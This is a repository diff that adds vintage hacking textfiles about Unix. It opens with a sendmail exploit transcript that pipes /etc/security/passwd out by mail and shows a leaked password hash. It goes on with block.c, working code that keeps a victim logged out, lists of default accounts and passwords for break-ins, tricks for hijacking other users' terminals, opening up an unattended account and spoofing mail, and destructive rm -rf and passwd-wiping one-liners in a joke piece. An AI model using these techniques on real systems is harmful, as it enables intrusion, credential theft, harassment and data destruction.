Trying 127.0.0.1 ...
Connected. Escape character is '^]'.
Welcome to old.smtp.version.site.com STMP sendmail version 1.0
Ready and willing for your command, haqr sir.
(you type) MAIL FROM: "|/bin/mail me@old.smtp.version.site.com
</etc/security/passwd"
250 - Sender OK
RCPT TO: nosuchuser
<pause> 225 - "nosuchuser" User unknown
DATA
230 - Enter message. '.' to end
.
235 OK
QUIT
Connection closed
% wait
% frm
1 Mailer Daemon No subject - file transmission
% more /var/spool/mail/me
From daemon!localhost ...
.
.
Subject:
root:89JKHkjh\kj1:0:0:Admin:/:/bin/sh
...
%
----
<pause>

2133
textfiles.com/hacking/UNIX/sirsunix.hac Normal file
View File

File diff suppressed because it is too large Load Diff

2654
textfiles.com/hacking/UNIX/sobunix.txt Normal file
View File

File diff suppressed because it is too large Load Diff

129
textfiles.com/hacking/UNIX/socket.txt Normal file
View File

@@ -0,0 +1,129 @@
-=-=-=-=-=-=-=-
Socket Services
-=-=-=-=-=-=-=-
Disclaimer:
The author takes no responsibility in
the actions of people who have read
this text. Please Distribute this text
file on your BBS, Homepage, or FTP site
and please do not change this or add to
it in any way what so ever.
Port Number Service Name Protocol
7 echo tcp
7 echo udp
9 discard tcp
9 discard udp
11 systat tcp
13 daytime tcp
13 daytime udp
15 netstat tcp
17 qotd tcp
17 qotd udp
19 chargen tcp
19 chargen udp
20 ftp-data tcp
21 ftp tcp
23 telnet tcp
25 smtp tcp
37 time tcp
37 time udp
39 rlp udp
42 name tcp
42 name udp
43 whois tcp
53 domain tcp
53 domain udp
57 mtp tcp
67 bootp udp
69 tftp udp
77 rje tcp
79 finger tcp
87 link tcp
95 hostnames tcp
102 iso-tsap tcp
103 dictionary tcp
104 x400-snd tcp
105 csnet-ns tcp
109 pop tcp
110 pop3 tcp
111 portmap tcp
111 portmap udp
113 auth tcp
115 sftp tcp
117 path tcp
119 nntp tcp
123 ntp udp
137 nbname udp
138 nbdatagram udp
139 nbsession tcp
144 NeWS tcp
153 sgmp udp
158 tcprepo tcp
161 snmp udp
162 snmp-trap udp
170 print-srv tcp
175 vmnet tcp
315 load udp
400 vmnet0 tcp
500 sytek udp
512 exec tcp
512 biff udp
513 login tcp
513 who udp
514 shell tcp
514 syslog udp
515 printer tcp
517 talk udp
518 ntalk udp
520 efs tcp
520 route udp
525 timed udp
526 tempo tcp
530 courier tcp
531 conference tcp
531 rvd-control udp
532 netnews tcp
533 netwall udp
540 uucp tcp
543 klogin tcp
544 kshell tcp
550 new-rwho udp
556 remotefs tcp
560 rmonitor udp
561 monitor udp
600 garcon tcp
601 maitrd tcp
602 busboy tcp
700 acctmaster udp
701 acctslave udp
702 acct udp
703 acctlogin udp
704 acctprinter udp
705 acctinfo udp
706 acctslave2 udp
707 acctdisk udp
750 kerberos tcp
750 kerberos udp
751 kerberos_mastertcp
751 kerberos_masterudp
752 passwd_server udp
753 userreg_server udp
754 krb_prop tcp
888 erlogin tcp
-=-=-=-=-=-=-=-=-=-=-
Relevation
[SeNSaTioN] Founder
sensation.ml.org
-=-=-=-=-=-=-=-=-=-=-

277
textfiles.com/hacking/UNIX/stupid.unx Normal file
View File

@@ -0,0 +1,277 @@
===== Phrack Magazine presents Phrack 15 =====
===== File 2 of 10 =====
I thought I had written everything there is to write about the Unix
operating system until I was recently asked to put out yet another file...
so I said "I'll try, but don't publish my file along with an article by
The Radical Rocker this time!" These demands having been met, I booted
up the PC and threw together...
--- ---- ---- ------ ------ -- -- ---- -----
% Yet Even More Stupid Things to Do With Unix! $
--- ---- ---- ------ ------ -- -- ---- -----
By Shooting Shark.
Submitted 26 August '87
These two topics are methods of annoying other users of the system
and generally being a pest. But would you want to see a file on *onstructive*
things to do with Unix? Didn't think so...
-- ------- ----- --- --- ------
1. Keeping Users Off The System
-- ------- ----- --- --- ------
Now, we all know by now how to log users off (one way is to redirect
an 'stty 0' command to their tty) but unless you have root privs, this
will not work when a user has set 'mesg n' and prevented other users from
writing to their terminal. But even users who have a 'mesg n' command in
their .login (or .profile or .cshrc) file still have a window of vulnerability,
the time between login and the locking of their terminal. I designed
the following program, block.c, to take advantage of this fact.
To get this source running on your favorite Unix system, upload it,
call it 'block.c', and type the following at the % or $ prompt:
cc -o block block.c
once you've compiled it successfully, it is invoked like so:
block username [&]
The & is optional and recommended - it runs the program in the background,
thus letting you do other things while it's at work.
If the user specified is logged in at present, it immediately logs
them out (if possible) and waits for them to log in. If they aren't logged
in, it starts waiting for them. If the user is presently logged in but
has their messages off, you'll have to wait until they've logged out to
start the thing going.
Block is essentially an endless loop : it keeps checking for the occurence
of the username in /etc/utmp. When it finds it, it immediately logs them
out and continues. If for some reason the logout attempt fails, the program
aborts. Normally this won't happen - the program is very quick when run
unmodified. However, to get such performance, it runs in a very tight
loop and will eat up a lot of CPU time. Notice that near the end of the
program there is the line:
/*sleep(SLEEP) */
the /* and */ are comment delimiters - right now the line is commented
out. If you remove the comments and re-compile the program, it will then
'go to sleep' for the number of seconds defined in SLEEP (default is 5)
at the end of every loop. This will save the system load but will slightly
decrease the odds of catching the user during their 'window of vulnerability.'
If you have a chance to run this program at a computer lab at a school or
somewhere similar, run this program on a friend (or an enemy) and watch
the reaction on their face when they repeatedly try to log in and are
logged out before they can do *anything*. It is quite humorous. This
program is also quite nasty and can make you a lot of enemies!
caveat #1: note that if you run the program on yourself, you will be logged
out, the program will continue to run (depending on the shell you're under)
and you'll have locked yourself out of the system - so don't do this!
caveat #2: I wrote this under OSx version 4.0, which is a licensed version
of Unix which implements 4.3bsd and AT&T sysV. No guarantees that it will
work on your system.
caveat #3: If you run this program in background, don't forget to kill
it when you're done with it! (when you invoke it with '&', the shell will
give you a job number, such as '[2] 90125'. If you want to kill it later
in the same login session, type 'kill %2'. If you log in later and want
to kill it, type 'kill 90125'. Just read the man page on the kill command
if you need any help...
----- cut here -----
/* block.c -- prevent a user from logging in
* by Shooting Shark
* usage : block username [&]
* I suggest you run this in background.
*/
#include <stdio.h>
#include <utmp.h>
#include <ctype.h>
#include <termio.h>
#include <fcntl.h>
#define W_OK2
#define SLEEP5
#define UTMP"/etc/utmp"
#define TTY_PRE "/dev/"
main(ac,av)
int ac;
char *av[];
{
int target, fp, open();
struct utmpuser;
struct termio*opts;
char buf[30], buf2[50];
if (ac != 2) {
printf("usage : %s username\n",av[0]);
exit(-1);
}
for (;;) {
if ((fp = open(UTMP,0)) == -1) {
printf("fatal error! cannot open %s.\n",UTMP);
exit(-1);
}
while (read(fp, &user, sizeof user) > 0) {
if (isprint(user.ut_name[0])) {
if (!(strcmp(user.ut_name,av[1]))) {
printf("%s is logging in...",user.ut_name);
sprintf(buf,"%s%s",TTY_PRE,user.ut_line);
printf("%s\n",buf);
if (access(buf,W_OK) == -1) {
printf("failed - program aborting.\n");
exit(-1);
}
else {
if ((target = open(buf,O_WRONLY)) != EOF) {
sprintf(buf2,"stty 0 > %s",buf);
system(buf2);
printf("killed.\n");
sleep(10);
}
} /* else */
} /* if strcmp */
} /* if isprint */
} /* while */
close(fp);
/*sleep(SLEEP); */
} /* for */
}
----- cut here -----
-- ------------- ----- ----- ---- ------ --- ------
2. Impersonating other users with 'write' and 'talk'
-- ------------- ----- ----- ---- ------ --- ------
This next trick wasn't exactly a work of stupefying genius, but is a
little trick (that anybody can do) that I sometimes use to amuse myself
and, as with the above, annoy the hell out of my friends and enemies.
Nearly every Unix system has the 'write' program, for conversing with
other logged-in users. As a quick summary:
If you see that user 'clara' is logged in with the 'who' or 'w' command
or whatever, and you wish to talk to her for some reason or another,
you'd type 'write clara'. Clara then would see on her screen something
like this (given that you are username 'shark'):
[3 ^G's] Message from shark on ttyi13 at 23:14 ...
You then type away at her, and whatever you type is sent to her terminal
line-by-line. If she wanted to make it a conversation rather than a
monologue, she'd type 'write shark,' you'd get a message similar to the above
on your terminal, and the two of you would type away at each other to your
little heart's content. If either one of you wanted to end the conversation,
you would type a ^D. They would then see the characters 'EOF' on their
screen, but they'd still be 'write'ing to you until they typed a ^D as well.
Now, if you're on a bigger installation you'll probably have some sort
of full-screen windowing chat program like 'talk'. My version of talk
sends the following message:
Message from Talk_Daemon@tibsys at 23:14 ...
talk: connection requested by shark@tibsys.
talk: respond with: talk shark@tibsys
Anyway, here's where the fun part begins: It's quite easy to put a sample
'write' or 'talk' message into a file and then edit so that the 'from'
is a different person, and the tty is listed differently. If you see that
your dorky friend roger is on ttyi10 and the root also happens to be
logged on on ttyi01, make the file look something like this:
[3 control-G's] Message from root on ttyi01 at [the current time]
wackawackawackawackawacka!!!
[or a similarly confusing or rude message...]
EOF
Then, send this file to roger's terminal with:
cat filename > /dev/ttyi10
He'll get the message on his terminal and wonder what the hell the
superuser is talking about. He might even 'write' back to the superuser
with the intent of asking 'what the hell are you talking about?'. For
maximum effectiveness, *simultaneously* send a message to root 'from'
roger at the appropriate terminal with an equally strange message - they'll
then engage in a conversation that will go something like "what did you
mean by that?" "what do you mean, what do I mean? What did *you* mean
by that?" etc. A splendid time is guaranteed for all! Note that you don't
have to make 'root' the perpetrator of the gag, any two currently logged-in
users who have their terminals open for messages can join in on the fun.
Similarly, you can fake a few 'talk' pages from/to two people...they will
then probably start talking...although the conversation will be along the
lines of "what do you want?" "you tell me." "you paged me, you tell *me."
etcetera, while you laugh yourself silly or something like that.
A variation on the theme: As I said, when using 'write' you type a ^D to
end the conversation, and the person you're typing at sees an 'EOF' on
their screen. But you could also just *type* 'EOF', and they'd think
you've quit...but you still have an open line to their terminal. Even
if they later turn messages off, you still have the ability to write to
their terminal. Keeping this fact in mind, anybody who knows what they're
doing can write a program similar to my 'block' program above that doesn't
log a user out when they appear on the system, but opens their tty as
a device and keeps the file handle in memory so you can redirect to their
terminal - to write rude messages or to log them out or whatever - at any
time, until they log out.
As I said, there was no great amount of genious in the above discourse,
but it's a pastime I enjoy occasionally...
-- Shooting Shark
"the first fact to face is that unix was not developed with security,
in any realistic sense, in mind..."
-- Dennis M. Ritchie
"Oryan QUEST couldn't hack his way out of a UNIX system, let alone
into one."
-- Tharrys Ridenow

421
textfiles.com/hacking/UNIX/sysadmin.txt Normal file
View File

@@ -0,0 +1,421 @@
From: szielins@us.oracle.com (szielins.US1)
Newsgroups: rec.humor.funny
Subject: Field Guide to System Administrators
Keywords: laugh, original, computers
Message-ID: <S4a6.5a01@looking.on.ca>
Date: Thu, 19 Nov 92 3:25:10 EST
Lines: 419
Approved: funny@clarinet.com
KNOW YOUR UNIX SYSTEM ADMINISTRATOR-- A FIELD GUIDE
There are four major species of Unix sysad:
1) The TECHNICAL THUG. Usually a systems programmer who has been
forced into system administration; writes scripts in a polyglot of the
Bourne shell, sed, C, awk, perl, and APL.
2) The ADMINISTRATIVE FASCIST. Usually a retentive drone (or rarely,
a harridan ex-secretary) who has been forced into system
administration.
3) The MANIAC. Usually an aging cracker who discovered that neither
the Mossad nor Cuba are willing to pay a living wage for computer
espionage. Fell into system administration; occasionally approaches
major competitors with indesp schemes.
4) The IDIOT. Usually a cretin, morpohodite, or old COBOL programmer
selected to be the system administrator by a committee of cretins,
morphodites, and old COBOL programmers.
HOW TO IDENTIFY YOUR SYSTEM ADMINISTRATOR:
---------------- SITUATION: Low disk space. ----------------
TECHNICAL THUG: Writes a suite of scripts to monitor disk
usage, maintain a database of historic disk usage, predict future disk
usage via least squares regression analysis, identify users who are
more than a standard deviation over the mean, and send mail to the
offending parties. Places script in cron. Disk usage does not
change, since disk-hogs, by nature, either ignore script-generated
mail, or file it away in triplicate.
ADMINISTRATIVE FASCIST: Puts disk usage policy in motd. Uses
disk quotas. Allows no exceptions, thus crippling development work.
Locks accounts that go over quota.
MANIAC:
# cd /home
# rm -rf `du -s * | sort -rn | head -1 | awk '{print $2}'`;
IDIOT:
# cd /home
# cat `du -s * | sort -rn | head -1 | awk '{ printf "%s/*\n", $2}'` | compress
---------------- SITUATION: Excessive CPU usage. ----------------
TECHNICAL THUG: Writes a suite of scripts to monitor
processes, maintain a database of CPU usage, identify processes more
than a standard deviation over the norm, and renice offending
processes. Places script in cron. Ends up renicing the production
database into oblivion, bringing operations to a grinding halt, much
to the delight of the xtrek freaks.
ADMINISTRATIVE FASCIST: Puts CPU usage policy in motd. Uses
CPU quotas. Locks accounts that go over quota. Allows no exceptions,
thus crippling development work, much to the delight of the xtrek
freaks.
MANIAC:
# kill -9 `ps -augxww | sort -rn +8 -9 | head -1 | awk '{print $2}'`
IDIOT:
# compress -f `ps -augxww | sort -rn +8 -9 | head -1 | awk '{print $2}'`
---------------- SITUATION: New account creation. ----------------
TECHNICAL THUG: Writes perl script that creates home
directory, copies in incomprehensible default environment, and places
entries in /etc/passwd, /etc/shadow, and /etc/group. (By hand, NOT
with passmgmt.) Slaps on setuid bit; tells a nearby secretary to
handle new accounts. Usually, said secretary is still dithering over
the difference between 'enter' and 'return'; and so, no new accounts
are ever created.
ADMINISTRATIVE FASCIST: Puts new account policy in motd.
Since people without accounts cannot read the motd, nobody ever
fulfills the bureaucratic requirements; and so, no new accounts are
ever created.
MANIAC: "If you're too stupid to break in and create your own
account, I don't want you on the system. We've got too many goddamn
sh*t-for-brains a**holes on this box anyway."
IDIOT:
# cd /home; mkdir "Bob's home directory"
# echo "Bob Simon:gandalf:0:0::/dev/tty:compress -f" > /etc/passwd
---------------- SITUATION: Root disk fails. ----------------
TECHNICAL THUG: Repairs drive. Usually is able to repair
filesystem from boot monitor. Failing that, front-panel toggles
microkernel in and starts script on neighboring machine to load binary
boot code into broken machine, reformat and reinstall OS. Lets it run
over the weekend while he goes mountain climbing.
ADMINISTRATIVE FASCIST: Begins investigation to determine who
broke the drive. Refuses to fix system until culprit is identified
and charged for the equipment.
MANIAC, LARGE SYSTEM: Rips drive from system, uses
sledgehammer to smash same to flinders. Calls manufacturer, threatens
pets. Abuses field engineer while they put in a new drive and
reinstall the OS.
MANIAC, SMALL SYSTEM: Rips drive from system, uses ball-peen
hammer to smash same to flinders. Calls Requisitions, threatens pets.
Abuses bystanders while putting in new drive and reinstalling OS.
IDIOT: Doesn't notice anything wrong.
---------------- SITUATION: Poor network response. ----------------
TECHNICAL THUG: Writes scripts to monitor network, then
rewires entire machine room, improving response time by 2%. Shrugs
shoulders, says, "I've done all I can do," and goes mountain climbing.
ADMINISTRATIVE FASCIST: Puts network usage policy in motd.
Calls up Berkeley and AT&T, badgers whoever answers for network
quotas. Tries to get xtrek freaks fired.
MANIAC: Every two hours, pulls ethernet cable from wall and
waits for connections to time out.
IDIOT:
# compress -f /dev/en0
---------------- SITUATION: User questions. ----------------
TECHNICAL THUG: Hacks the code of emacs' doctor-mode to answer
new users questions. Doesn't bother to tell people how to start the
new "guru-mode", or for that matter, emacs.
ADMINISTRATIVE FASCIST: Puts user support policy in motd.
Maintains queue of questions. Answers them when he gets a chance,
often within two weeks of receipt of the proper form.
MANIAC: Screams at users until they go away. Sometimes
barters knowledge for powerful drink and/or sycophantic adulation.
IDIOT: Answers all questions to best of his knowledge until
the user realizes few UNIX systems support punched cards or JCL.
---------------- SITUATION: *Stupid* user questions. ----------------
TECHNICAL THUG: Answers question in hex, binary, postfix,
and/or French until user gives up and goes away.
ADMINISTRATIVE FASCIST: Locks user's account until user can
present documentation demonstrating their qualification to use the
machine.
MANIAC:
# cat >> ~luser/.cshrc
alias vi 'rm \!*;unalias vi;grep -v BoZo ~/.cshrc > ~/.z; mv -f ~/.z ~/.cshrc'
^D
IDIOT: Answers all questions to best of his knowledge.
Recruits user to system administration team.
---------------- SITUATION: Process accounting management. ----------------
TECHNICAL THUG: Ignores packaged accounting software; trusts
scripts to sniff out any problems & compute charges.
ADMINISTRATIVE FASCIST: Devotes 75% of disk space to
accounting records owned by root and chmod'ed 000.
MANIAC: Laughs fool head off at very mention of accounting.
IDIOT:
# lpr /etc/wtmp /usr/adm/paact
---------------- SITUATION: Religious war, BSD vs. System V. ----------------
TECHNICAL THUG: BSD. Crippled on System V boxes.
ADMINISTRATIVE FASCIST: System V. Horrified by the people who
use BSD. Places frequent calls to DEA.
MANIAC: Prefers BSD, but doesn't care as long as HIS processes
run quickly.
IDIOT:
# cd c:
---------------- SITUATION: Religious war, System V vs. AIX ----------------
TECHNICAL THUG: Weeps.
ADMINISTRATIVE FASCIST: AIX-- doesn't much care for the OS,
but loves the jackboots.
MANIAC: System V, but keeps AIX skills up, knowing full well
how much Big Financial Institutions love IBM...
IDIOT: AIX.
---------------- SITUATION: Balky printer daemons. ----------------
TECHNICAL THUG: Rewrites lpd in FORTH.
ADMINISTRATIVE FASCIST: Puts printer use policy in motd.
Calls customer support every time the printer freezes. Tries to get
user who submitted the most recent job fired.
MANIAC: Writes script that kills all the daemons, clears all
the print queues, and maybe restarts the daemons. Runs it once a hour
from cron.
IDIOT:
# kill -9 /dev/lp ; /dev/lp &
---------------- SITUATION: OS upgrade. ----------------
TECHNICAL THUG: Reads source code of new release, takes only
what he likes.
ADMINISTRATIVE FASCIST: Instigates lawsuit against the vendor
for having shipped a product with bugs in it in the first place.
MANIAC:
# uptime
1:33pm up 19 days, 22:49, 167 users, load average: 6.49, 6.45, 6.31
# wall
Well, it's upgrade time. Should take a few hours. And good luck on that
5:00 deadline, guys! We're all pulling for you!
^D
IDIOT:
# dd if=/dev/rmt8 of=/vmunix
---------------- SITUATION: Balky mail. ----------------
TECHNICAL THUG: Rewrites sendmail.cf from scratch. Rewrites
sendmail in SNOBOL. Hacks kernel to implement file locking. Hacks
kernel to implement "better" semaphores. Rewrites sendmail in
assembly. Hacks kernel to . . .
ADMINISTRATIVE FASCIST: Puts mail use policy in motd. Locks
accounts that go over mail use quota. Keeps quota low enough that
people go back to interoffice mail, thus solving problem.
MANIAC:
# kill -9 `ps -augxww | grep sendmail | awk '{print $2}'`
# rm -f /usr/spool/mail/*
# wall
Mail is down. Please use interoffice mail until we have it back up.
^D
# write max
I've got my boots and backpack. Ready to leave for Mount Tam?
^D
IDIOT:
# echo "HELP!" | mail tech_support.AT.vendor.com%kremvax%bitnet!BIFF!!!
---------------- SITUATION: Users want phone list application. ----------------
TECHNICAL THUG: Writes RDBMS in perl and Smalltalk. Users
give up and go back to post-it notes.
ADMINISTRATIVE FASCIST: Oracle. Users give up and go back to
post-it notes.
MANIAC: Tells the users to use flat files and grep, the way
God meant man to keep track of phone numbers. Users give up and go
back to post-it notes.
IDIOT:
% dd ibs=80 if=/dev/rdisk001s7 | grep "Fred"
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
OTHER GUIDELINES:
---------------- TYPICAL ROOT .cshrc FILE: ----------------
TECHNICAL THUG: Longer than eight kilobytes. Sources the
output of a perl script, rewrites itself.
ADMINISTRATIVE FASCIST: Typical lines include:
umask 777
alias cd 'cd \!*; rm -rf ching *hack mille omega rogue xtrek >& /dev/null &'
MANIAC: Typical lines include:
alias rm 'rm -rf \!*'
alias hose kill -9 '`ps -augxww | grep \!* | awk \'{print $2}\'`'
alias kill 'kill -9 \!* ; kill -9 \!* ; kill -9 \!*'
alias renice 'echo Renice\? You must mean kill -9.; kill -9 \!*'
IDIOT: Typical lines include:
alias dir ls
alias era rm
alias kitty cat
alias process_table ps
setenv DISPLAY vt100
---------------- HOBBIES, TECHNICAL: ----------------
TECHNICAL THUG: Writes entries for Obsfuscated C contest.
Optimizes INTERCAL scripts. Maintains ENIAC emulator. Virtual
reality .
ADMINISTRATIVE FASCIST: Bugs office. Audits card-key logs.
Modifies old TVs to listen in on cellular phone conversations.
Listens to police band.
MANIAC: Volunteers at Survival Research Labs. Bugs office.
Edits card-key logs. Modifies old TVs to listen in on cellular phone
conversations. Jams police band.
IDIOT: Ties shoes. Maintains COBOL decimal to roman numeral
converter. Rereads flowcharts from his salad days at Rand.
---------------- HOBBIES, NONTECHNICAL: ----------------
TECHNICAL THUG: Drinks "Smart Drinks." Attends raves. Hangs
out at poetry readings and Whole Earth Review events and tries to pick
up Birkenstock MOTAS.
ADMINISTRATIVE FASCIST: Reads _Readers Digest_ and _Mein
Kampf_. Sometimes turns up car radio and sings along to John Denver.
Golfs. Drinks gin martinis. Hangs out in yuppie bars and tries to
pick up dominatrixes.
MANIAC: Reads _Utne Reader_ and _Mein Kampf_. Faithfully
attends Dickies and Ramones concerts. Punches out people who say
"virtual reality." Drinks damn near anything, but favors Wild Turkey,
Black Bush, and grain alcohol. Hangs out in neighborhood bars and
tries to pick up MOTAS by drinking longshoremen under the table .
IDIOT: Reads _Time_ and _Newsweek_-- and *believes* them.
Drinks Jagermeister. Tries to pick up close blood relations-- often
succeeds, producting next generation of idiots.
---------------- 1992 PRESIDENTIAL ELECTION: ----------------
TECHNICAL THUG: Clinton, but only because he liked Gore's
book.
ADMINISTRATIVE FASCIST: Bush. Possibly Clinton, but only
because he liked Tipper.
MANIAC: Frank Zappa.
IDIOT: Perot.
---------------- 1996 PRESIDENTIAL ELECTION: ----------------
TECHNICAL THUG: Richard Stallman - Larry Wall.
ADMINISTRATIVE FASCIST: Nixon - Buchanan.
MANIAC: Frank Zappa.
IDIOT: Quayle.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
COMPOUND SYSTEM ADMINISTRATORS:
TECHNICAL FASCIST: Hacks kernel & writes a horde of scripts to
prevent folk from ever using more than their fair share of system
resources. Resulting overhead and load brings system to its knees.
TECHNICAL MANIAC: Writes scripts that SEEM to be monitoring
the system, but are actually encrypting large lists of passwords.
Uses nearby nodes as beta test sites for worms.
TECHNICAL IDIOT: Writes superuser-run scripts that sooner or
later do an "rm -rf /".
FASCISTIC MANIAC: At first hint of cracker incursions, whether
real or imagined, shuts down system by triggering water-on-the-brain
detectors and Halon system.
FASCISTIC IDIOT:
# cp /dev/null /etc/passwd
MANIACAL IDIOT: Napalms the CPU.
-Stephan Zielinski
--
Selected by Maddi Hausmann. MAIL your jokes (jokes ONLY) to funny@clarinet.com
Attribute the joke's source if at all possible. A Daemon will auto-reply.

114
textfiles.com/hacking/UNIX/troj.hac Normal file
View File

@@ -0,0 +1,114 @@
********************
Basic Unix Use
By Lord Lawless
Phortune 500
Board of Directors
********************
March 8, 1987
-------------
This file is basically a brief introduction and overview for the beginning
hacker to the Unix operating system. All information contained herein is
accurate to the extent of my knowledge. This file is intended for inform-
ational purposes only and the author (Lord Lawless) is in NO way responsible
for the use of this file for purposes other than the aforementioned.
Part I: What is Unix?
----------------------
Unix is an operating system, so designated because it allows a user to
interface with a computer in a way that is (hopefully) easy for the user to
learn and use. Unix can be known by other forms, PC-Unix, Xenix, etc., but
they all basically are the same (with slight differences this file won't go
into) and use the same commands. Unix is a wonderfully simple to use OS once
you begin, and while this file will help you I recommend that you find a Unix
system somewhere and wander around on it to help yourself to learn. To put
this more formally:
The UNIX system is a set of programs that include a time-sharing
operating system and a set of utility programs. The operating
system has two basic parts:
1) The kernel is the program in the UNIX operating system
that is responsible for most operating system functions. It
schedules and manages all the work done by the computer and
maintains the file system. It is always running, and is
invisible to users.
2) The shell is the UNIX operating system program responsible
for handling all interaction between users and the computer.
It includes a powerful command language called "shell language"*.
The utility programs (usually called UNIX commands) are executed
through the shell, and allow users to communicate with each other,
to edit and manipulate files, to write and execute programs in
several programming languages, and many other things.
Part II: Recognizing a Unix system
-------------------------------------
When you connect to a Unix system you will see a message usually like
"AT&T Unix: Unauthorized use will be Prosecuted!" or just "Unix System V" or
the like. At the least you will see a prompt saying "login:". At this point,
if possible, make sure that you are in lowercase, because if the computer det-
ects that you are typing in uppercase everything you read after will be in
uppercase with lowercase denoted by a \ in front of the word. This is because
Unix is case sensitive, so be careful, reading lowercase is much easier than
reading all uppercase and slashes. Ok, so here you are at the Unix "login:"
prompt.
Part III: Logging on
---------------------
At this point you must enter your login, and then, if the account (
never more than 14 characters) has one, the password. Now, all Unix systems
have default accounts, and unless set by the Root System Operator no passwords.
This has been the means of infiltration by many the Unix hacker. There are two
types of accounts in a Unix, the "super user" and the "user". The super user
has access to almost everything (or everything depending on the system) and the
user basically has access to the files he owns and what he can sometimes read.
The default super user accounts on a unix are:
ROOT
MAKEFSYS
MOUNTFSYS
UMOUNTFSYS
CHECKFSYS
and sometimes
ADMIN
SYSADMIN.
For passwords to these try things like SYSTEM, SYSMAN, SYSADMIN, ADMINISTRATOR,
OPERATOR, SYSOP, etc.
The default user-level accounts are:
LP
DAEMON
TROUBLE
NUUCP
UUCP
RJE
ADM
SYSADM
SYNC
BIN
(Note: These accounts should be entered in lower case , I merely wrote them
in upper case for easier reference.)
After being on Unix's, I have also seen the following common accounts:
USER
UNIX
GAMES
GUEST
STUDENT -on school run Unix's.
The maximum length of a password is 11 characters.
After doing all this you should, with luck, be in!
If you couldn't hack anything out, try typing "WHO" at the login: prompt, it
may list all the user accounts and you can try them until you find one without
a password.
Part IV: You're in!!!
----------------------
Congratulate yourself, the hardest part of Unix "hacking" is over. Ok,
now that you're in you'll see a prompt which will probably look like "$" for a
user account or "#" if you got lucky and got a super user account.
(Quick note, to stop a unix process in action try typing ctrl-d or control
backspace, these are the end of file/St

12327
textfiles.com/hacking/UNIX/uhacknfo.hac Normal file
View File

File diff suppressed because it is too large Load Diff

656
textfiles.com/hacking/UNIX/uhcom.txt Normal file
View File

@@ -0,0 +1,656 @@
*** A List Of Some OF The Most Useful UNIX **
*** Hacking Commands, and Some Hints On Their Usage ***
---------------------------------------------------------------
It is fun and often usefull to create a file that is owned
by someone else. On most systems with slack security ie 99% of
all UNIX systems, this is quite easily done. The chown command
will change any of your files to make someone else the owner.
Format is as follows:
chown ownername filelist
Where ownername is the new owner, and filelist is the list of
files to change. You must own the file which your are goin to
change, unless you are a superuser....then u can change ANYTHING!
chgrp is a similar command which will change the group
ownership on a file. If you are going to do both a chown and a
chgrp on a file, then make sure you do the chgrp first! Once the
file is owned by someone else, you cant change nything about it!
---------------------------------------------------------------
Sometimes just seeing who is on the system is a challenge in
itself. The best way is to write your own version of who in C,
but if you can't do that then this may be of some help to you:
who followed by on or more of the following flags:
-b Displays time sys as last booted.
-H Precedes output with header.
-l Lists lines waiting for users to logon.
-q displays number of users logged on.
-t displays time sys clock was last changed.
-T displays the state field (a + indicates it is
possible to send to terminal, a - means u cannot)
-u Give a complete listing of those logged on.
**who -HTu is about the best choice for the average user**
##by the way, the list of users logged on is kept in the file
/etc/utmp. If you want to write your own personalised version of
who in C, you now know where to look!###
---------------------------------------------------------------
When a users state field (see -T flag option for who
command) says that a user has their message function on, this
actually means that it is possible to get stuff onto their
screen.
Basically, every terminal on the system has a file
corresponding to it. These files can be found in the /dev
directory. You can to anything to these files, so long as you
have access -eg you can read them, and write to them, but you
will notice that they never change in size. They are called
character specific files, and are really the link between the
system and the terminals. Whatever you put in these files will
go staright to the terminal it corresponds to.
Unfortunately, on most systems, when the user logs in, the
"mesg n" command is issued which turns off write access to that
terminal, BUT- if you can start cating to that terminal before
system issues the mesg n command, then you will continue to be
able to get stuff up on that terminal! This has many varied uses.
Check out the terminal, or terminal software being used.
Often you will be able to remotely program another users
terminal, simply by 'cating' a string to a users screen. You
might be able to set up a buffer, capturing all that is typed, or
you may be able to send the terminal into a frenzy- (sometimes a
user will walk away without realizing that they are sill
effectively logged on, leaving you with access to their
account!). Some terminal types also have this great command
called transmit screen. It transmits everything on the screen,
just as if the user had typed it !
So just say I wanted to log off a user, then I would send a
clear screen command (usually ctrl l), followed by "exit"
followed by a carriage return, followed by the transmit screen
code. Using ths technique you can wipe peoples directories or
anything. My favourite is to set open access on all their files
and directories so I can peruse them for deletion etc at my own
leisure).
---------------------------------------------------------------
If you ever briefly get access to another persons account
eg. they leave the room to go to toilet or whatever, then simply
type the following:
chmod 777 $HOME
chmod 777 $MAIL
Then clear the screen so they dont see what you just typed.
Now you can go look at their directory, and their mail, and
you can even put mail in their mail file. (just use the same
format as any mail that is already there!). Next time they log in
the system will automatically inform them they have new mail!
---------------------------------------------------------------
Another way to send fake mail to people is to use the mail
server. This method produces mail that is slightly different to
normal, so anyone who uses UNIX a bit may be suspiscious when
they receive it, but it will fool the average user!
type telnet
the following prompt will appear:
telnet>
now type :
open localhost 25
some crap will come up about the mail server..now type:
mail from: xxxxxx Put any name you want.
some more bullshit will come up. Now type:
rcpt to: xxxxxx Put the name of the person to receive mail here.
now type:
data
now you can type the letter...end it with a "."
type quit to exit once you are done.
-------------------------------------------------------------
Heres one for any experimenters out there...
It is possible to create files which simply cannot be deleted
from the standard shell. To do this you will have to physically
CREATE THE FILE USING A C PROGRAM or SCRIPT FILE, and you will
have to use a sequence of control characters which cannot be
typed from the shell. Try things like Ctrl-h (this is the
code for the delete key). Just a file with the name Ctrl-h would
not be deleteable from the shell, unless you used wildcards. So,
make it a nice long series of characters, so that to delete the
file, the user has no choice but to individually copy all his
files elsewhere, then delete everything in his directory, and
then copy all his files back.....this is one of my
favourites..gets em every time!
The following script file is an example which will create a
file with the name Ctrl-h. You MUST tyoe this file in using the
vi editor or similar.
*****If you are not very good with vi, type "man vi" and print the
help file...it even contains stuff that I find useful now and
then.*****
type the following in vi...
echo'' > 'a^h'
***NOTE...to get the ^h (this really means ctrl-h) from vi type:
Ctrl v
Ctrl h
The Ctrl v instrcts vi to take the next character as a ascii
character, and not to interpret it.
change the access on the file you just created and now
execute it. It will create a file which looks like it is called
a, but try to delete it !..use wildcards if you really want to
delete it.
*> Title: Tutorial on hacking through a UNIX system
**
In the following file, all references made to the name Unix, may also be
substituted to the Xenix operating system.
Brief history: Back in the early sixties, during the development of
third generation computers at MIT, a group of programmers studying the
potential of computers, discovered their ability of performing two or
more tasks simultaneously. Bell Labs, taking notice of this discovery,
provided funds for their developmental scientists to investigate into this
new frontier. After about 2 years of developmental research, they produced
an operating system they called "Unix".
